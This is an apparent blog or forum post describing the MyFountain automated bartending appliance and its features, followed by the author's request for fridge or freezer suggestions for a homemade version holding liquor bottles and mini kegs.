This MyFountain thing takes it to a whole other level. The cheap version (which is still $2500 or so) is a basic bartender. It can go online to get new recipes and such, and it knows what you have in the fridge so it can tell you what you’re capable of making. The advanced version is basically geared towards managing an entire bar, in that it networks with multiple units, can estimate drinking patterns and call headquarters to schedule deliveries of more beverages automatically, etc, etc. Very clever indeed.

Still, I think it would be a fun project to build my own unit. I’ll need a mini fridge or freezer of some design to hold the beverages, but I’ll have to be willing to cut holes in the thing for the necessary tubes to pass through. So if anybody knows of a fridge/freezer design suitable for such a project, capable of holding, say, 6-10 bottles of liquor and possibly 1 or 2 mini kegs, let me know.